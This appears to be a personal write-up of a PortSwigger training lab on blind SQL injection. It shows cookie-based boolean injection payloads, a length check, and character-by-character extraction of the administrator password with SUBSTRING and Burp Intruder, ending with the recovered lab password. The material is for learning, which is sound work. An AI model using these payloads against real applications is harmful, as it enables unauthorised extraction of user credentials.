> For the complete documentation index, see [llms.txt](https://h3ckt0r.gitbook.io/0xsec/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://h3ckt0r.gitbook.io/0xsec/offensive-security/oscp/writeups/portswigger/sql-injection-labs.md).

# SQL injection labs

## Lab: Blind SQL injection with conditional responses

The application uses a tracking cookie for analytics

The database contains a different table called <mark style="color:red;">**`users`**</mark>, with columns called <mark style="color:red;">**`username`**</mark> and `password`. You need to exploit the blind SQL injection vulnerability to find out the password of the <mark style="color:red;">**`administrator`**</mark> user.

**`Cookie: TrackingId=St10uonYH4szuC66`**

```sql
Cookie: TrackingId=St10uonYH4szuC66' AND '1'='1 #true
Cookie: TrackingId=St10uonYH4szuC66' AND '1'='2  #false
```

ok i will use limit

```sql
' AND (SELECT 'X' from users limit 1)='x'--
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FImPiURKZer13lkEahfQx%2Fimage.png?alt=media&amp;token=b07a4a5b-f2cb-4eea-b679-057d21acbe85" alt=""><figcaption><p>Welcome back!</p></figcaption></figure>

ok i will try use table users and column username

```sql
AND+(SELECT+username+FROM+users+WHERE+username='administrator')='administrator'--
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FbnPbS10KvlATV147qlpy%2Fimage.png?alt=media&amp;token=502097e9-6a57-4787-9b9c-a8813dd71243" alt=""><figcaption></figcaption></figure>

ok in this case i'll  tracking passsword using SUBSTRING() function to extract a single character from the password

```sql
' AND (SELECT username FROM users WHERE username='administrator' and LENGTH(password)>1)='administrator'--
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FBdpiYkarFWk7TmqGdnBV%2Fimage.png?alt=media&amp;token=fe447a18-a97d-4993-baf5-253746519df9" alt=""><figcaption></figcaption></figure>

i will try numbers 1 to 19 all valid  password >19

go to intruder  > cluster bomb

```sql
'+AND+(SELECT+substring(password,1,1)+FROM+users+WHERE+username%3d'administrator')%3d'8'--
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FOU4q0EQPmwBZFgx70eDu%2Fimage.png?alt=media&amp;token=f57bd9d8-e5ca-4b05-ba02-7d7e0d0d8c11" alt=""><figcaption></figcaption></figure>

```
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
8oiqhj3w6k9bfypfq7j1
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FRKeSAlvPOhr7H1Iz7Kog%2Fimage.png?alt=media&amp;token=244afa46-a15d-4d09-8bc4-8c915824e510" alt=""><figcaption></figcaption></figure>

offfffffffffffffffffffffff! :smile: :tada:
